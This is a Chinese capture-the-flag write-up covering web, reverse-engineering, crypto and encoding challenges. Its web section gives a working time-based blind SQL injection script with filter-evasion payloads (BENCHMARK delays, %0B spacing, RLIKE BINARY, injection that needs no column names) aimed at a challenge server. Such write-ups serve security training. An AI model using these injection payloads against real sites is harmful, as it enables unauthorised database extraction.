注入无回显,且过滤了sleep我们可以使用BENCHMARK(10000000,sha(1))来进行绕过空格用%OB且过滤了and和or使用&&来代替and。且因为or被过滤我们需要是无列名注入,且等号给过滤了,所以我们可以使用RLIKE BINARY来代替,之所以不用like是因为其不分大小写,这会导致其得到的结果可能出现偏差(大概,理论上是这样的,但是实测下来发现其实用like问题好像也不大)

剩下的其实就是盲注加无列名注入了
exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import requests
import time

url = "http://80-8f8f8fb9-06cc-4f43-ae84-73b883155c4b.challenge.ctfplus.cn/"
params = {"action": "check","username":""}
dic = "ZXCVBNMLKJHGFDSAQWERTYUIOPabcdefghijklmnopqrstuvwxyz1234567890_{},-"
flag= ""

for i in range(1, 500):
time.sleep(0.06)
for j in range(0,len(dic)):
char=dic[j]
payload = "username=1'%26%26if(substr((select%0Bgroup_concat(table_name)%0Bfrom%0Bmysql.innodb_table_stats),{},1)RLIKE%0BBINARY%0B'{}',BENCHMARK(10000000,sha(1)),BENCHMARK(0,sha(1)))%23" .format(i,char)
#payload="username=1'%26%26if(substr((select%0B`1`%0Bfrom(select%0B1%0Bunion%0Bselect%0B*%0Bfrom%0BRea11ys3ccccccr3333t)x%0Blimit%0B1,1),{},1)RLIKE%0BBINARY%0B'{}',BENCHMARK(14000000,sha(1)),BENCHMARK(1,sha(1)))%23" .format(i,char)
#payload = "username=1'%26%26if(substr((select%0Bgroup_concat(table_name)%0Bfrom%0Bsys.schema_auto_increment_columns%0Bwhere%0Btable_schema=database()),{},1)like%0B'{}',BENCHMARK(3000000,sha(1)),BENCHMARK(0,sha(1)))%23" .format(i,char)

sql_url=url+"?"+payload
start_time = time.time()
r = requests.get(sql_url,verify=False)
end_time = time.time()
print(end_time - start_time)
if end_time - start_time > 4:
print(end_time - start_time)
flag += char
print(flag)
break
print(flag)

可以爆破出表面如下
gtid_slave_pos,Rea11ys3ccccccr3333t,users
而flag在Rea11ys3ccccccr3333t内

re

也许你也听jay

打开附件是.c代码

先把变量名换一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>

int main() {

char URL[46];
char aaaa[46];
strcpy(aaaa, URL);
char bbb[] = {0x96, 0xa1, 0xa0, 0x9b, 0x9b, 0x5f, 0x49, 0x46, 0x85, 0x82, 0x53, 0x95, 0x7d, 0x36, 0x8d, 0x74, 0x82, 0x88, 0x46, 0x7a, 0x81, 0x65, 0x80, 0x6c, 0x78, 0x2f, 0x6b, 0x6a, 0x27, 0x50, 0x61, 0x38, 0x3f, 0x37, 0x33, 0xf1, 0x27, 0x32, 0x34, 0x1f, 0x39, 0x23, 0xde, 0x1c, 0x17, 0xd4};
int ccc[] = {0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F, 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F, 0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F, 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5A, 0x5B, 0x5C, 0x5D, 0x5E, 0x5F, 0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, 0x6F, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7A, 0x7B, 0x7C, 0x7D, 0x7E, 0x7F, 0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87, 0x88, 0x89, 0x8A, 0x8B, 0x8C, 0x8D};
int dddd[] = {0x5D, 0x5C, 0x5B, 0x5A, 0x59, 0x58, 0x57, 0x56, 0x55, 0x54, 0x53, 0x52, 0x51, 0x50, 0x4F, 0x4E, 0x4D, 0x4C, 0x4B, 0x4A, 0x49, 0x48, 0x47, 0x46, 0x45, 0x44, 0x43, 0x42, 0x41, 0x40, 0x3F, 0x3E, 0x3D, 0x3C, 0x3B, 0x3A, 0x39, 0x38, 0x37, 0x36, 0x35, 0x34, 0x33, 0x32, 0x31, 0x30, 0x2F, 0x2E, 0x2D, 0x2C, 0x2B, 0x2A, 0x29, 0x28, 0x27, 0x26, 0x25, 0x24, 0x23, 0x22, 0x21, 0x20, 0x1F, 0x1E, 0x1D, 0x1C, 0x1B, 0x1A, 0x19, 0x18, 0x17, 0x16, 0x15, 0x14, 0x13, 0x12, 0x11, 0x10, 0x0F, 0x0E, 0x0D, 0x0C, 0x0B, 0x0A, 0x09, 0x08, 0x07, 0x06, 0x05, 0x04, 0x03, 0x02, 0x01};
int eeee[]={0x65, 0x64, 0x63, 0x62, 0x61, 0x60, 0x5F, 0x5E, 0x5D, 0x5C, 0x5B, 0x5A, 0x59, 0x58, 0x57, 0x56, 0x55, 0x54, 0x53, 0x52, 0x51, 0x50, 0x4F, 0x4E, 0x4D, 0x4C, 0x4B, 0x4A, 0x49, 0x48, 0x47, 0x46, 0x45, 0x44, 0x43, 0x42, 0x41, 0x40, 0x3F, 0x3E, 0x3D, 0x3C, 0x3B, 0x3A, 0x39, 0x38, 0x37, 0x36, 0x35, 0x34, 0x33, 0x00, 0x31, 0x30, 0x2F};
int len = strlen(URL);
for(int i = 0; i < len; i++) {
eeee[i] ^= dddd[i+1];

}
for(int i = 0; i < len; i++) {
aaaa[i] ^= ccc[i];

}
for(int i = 0; i < len; i++) {
eeee[i] -= ccc[i];

}
for(int i = 0; i < len; i++) {
aaaa[i] -= ccc[47 + i];
ccc[i]^=eeee[51];

}
for(int i = 0; i < len; i++) {
aaaa[i] += dddd[i];
}

for(int i=0;i<len;i++){
if(aaaa[i] != bbb[i]){
printf("Error");
}
}


return 0;
}


然后看一下逻辑可以知道

加密的最终结果就是bbb那么我们只要逆回去即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

#include <stdio.h>
int main() {

int dddd[] = {0x5D, 0x5C, 0x5B, 0x5A, 0x59, 0x58, 0x57, 0x56, 0x55, 0x54, 0x53, 0x52, 0x51, 0x50, 0x4F, 0x4E, 0x4D, 0x4C, 0x4B, 0x4A, 0x49, 0x48, 0x47, 0x46, 0x45, 0x44, 0x43, 0x42, 0x41, 0x40, 0x3F, 0x3E, 0x3D, 0x3C, 0x3B, 0x3A, 0x39, 0x38, 0x37, 0x36, 0x35, 0x34, 0x33, 0x32, 0x31, 0x30, 0x2F, 0x2E, 0x2D, 0x2C, 0x2B, 0x2A, 0x29, 0x28, 0x27, 0x26, 0x25, 0x24, 0x23, 0x22, 0x21, 0x20, 0x1F, 0x1E, 0x1D, 0x1C, 0x1B, 0x1A, 0x19, 0x18, 0x17, 0x16, 0x15, 0x14, 0x13, 0x12, 0x11, 0x10, 0x0F, 0x0E, 0x0D, 0x0C, 0x0B, 0x0A, 0x09, 0x08, 0x07, 0x06, 0x05, 0x04, 0x03, 0x02, 0x01};
int eeee[]={0x65, 0x64, 0x63, 0x62, 0x61, 0x60, 0x5F, 0x5E, 0x5D, 0x5C, 0x5B, 0x5A, 0x59, 0x58, 0x57, 0x56, 0x55, 0x54, 0x53, 0x52, 0x51, 0x50, 0x4F, 0x4E, 0x4D, 0x4C, 0x4B, 0x4A, 0x49, 0x48, 0x47, 0x46, 0x45, 0x44, 0x43, 0x42, 0x41, 0x40, 0x3F, 0x3E, 0x3D, 0x3C, 0x3B, 0x3A, 0x39, 0x38, 0x37, 0x36, 0x35, 0x34, 0x33, 0x00, 0x31, 0x30, 0x2F};
int ccc[] = {0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0A, 0x0B, 0x0C, 0x0D, 0x0E, 0x0F, 0x10, 0x11, 0x12, 0x13, 0x14, 0x15, 0x16, 0x17, 0x18, 0x19, 0x1A, 0x1B, 0x1C, 0x1D, 0x1E, 0x1F, 0x20, 0x21, 0x22, 0x23, 0x24, 0x25, 0x26, 0x27, 0x28, 0x29, 0x2A, 0x2B, 0x2C, 0x2D, 0x2E, 0x2F, 0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x3A, 0x3B, 0x3C, 0x3D, 0x3E, 0x3F, 0x40, 0x41, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4A, 0x4B, 0x4C, 0x4D, 0x4E, 0x4F, 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59, 0x5A, 0x5B, 0x5C, 0x5D, 0x5E, 0x5F, 0x60, 0x61, 0x62, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69, 0x6A, 0x6B, 0x6C, 0x6D, 0x6E, 0x6F, 0x70, 0x71, 0x72, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79, 0x7A, 0x7B, 0x7C, 0x7D, 0x7E, 0x7F, 0x80, 0x81, 0x82, 0x83, 0x84, 0x85, 0x86, 0x87, 0x88, 0x89, 0x8A, 0x8B, 0x8C, 0x8D};
int len=46;
char bbb[] = {0x96, 0xa1, 0xa0, 0x9b, 0x9b, 0x5f, 0x49, 0x46, 0x85, 0x82, 0x53, 0x95, 0x7d, 0x36, 0x8d, 0x74, 0x82, 0x88, 0x46, 0x7a, 0x81, 0x65, 0x80, 0x6c, 0x78, 0x2f, 0x6b, 0x6a, 0x27, 0x50, 0x61, 0x38, 0x3f, 0x37, 0x33, 0xf1, 0x27, 0x32, 0x34, 0x1f, 0x39, 0x23, 0xde, 0x1c, 0x17, 0xd4};
int i;
for(i = 0; i < len; i++) {
bbb[i] -= dddd[i];
}
for(int i = 0; i < len; i++) {
eeee[i] ^= dddd[i+1];

}
for(int i = 0; i < len; i++) {
eeee[i] -= ccc[i];

}
for(int i = 0; i < len; i++) {
bbb[i] += ccc[47 + i];
ccc[i]^=eeee[51];

}
for(int i = 0; i < len; i++) {
bbb[i] ^= ccc[i];
}
for(int i = 0; i < len; i++) {
printf("%c",bbb[i]);
}

}


得到一个博客网址


RC4加密

Crypto

ncoCRT

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from Crypto.Util.number import *
import random

flag = b'SYC{...}'
m = bytes_to_long(flag+b'\x01'*23)

p = [0]*5
c = [0]*5
for i in range(5):
p0 = random.randint(2**100,2**101)
p[i] = p0
c = [m%p[i] for i in range(5)]
print(f"p = {p}")
print(f"c = {c}")

"""
p = [1921232050179818686537976490035, 2050175089402111328155892746480, 1960810970476421389691930930824, 1797713136323968089432024221276, 2326915607951286191807212748022]
c = [1259284928311091851012441581576, 1501691203352712190922548476321, 1660842626322200346728249202857, 657314037433265072289232145909, 2056630082529583499248887436721]
"""

使用中国剩余定理来解

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from Crypto.Util.number import *
import random
from sympy.ntheory.modular import solve_congruence

p = [1921232050179818686537976490035,
2050175089402111328155892746480,
1960810970476421389691930930824,
1797713136323968089432024221276,
2326915607951286191807212748022]

c = [1259284928311091851012441581576,
1501691203352712190922548476321,
1660842626322200346728249202857,
657314037433265072289232145909,
2056630082529583499248887436721]

m, _ = solve_congruence(*[(c[i], p[i]) for i in range(5)])

flag_with_padding = long_to_bytes(m)
flag = flag_with_padding[:-23]

print(flag)


不是套娃

摩斯密码
转小写
xin_ji_zi_wa_yi_zi_mo_yi_dua_zi

维吉尼亚解密

hash加密

栅栏解码

1
2
Ba & Ro
100 -> 13 -> 64 -> 65536

因为密文是emoji表情包即base100编码可以猜测tip的意思是base和rot那么应该就是base100->rot13->base64->base65535


将繁体字改成簡體字即可打开压缩包
原神,启动!

SYC{H0W_P3RF3C+_YU0_AR3!}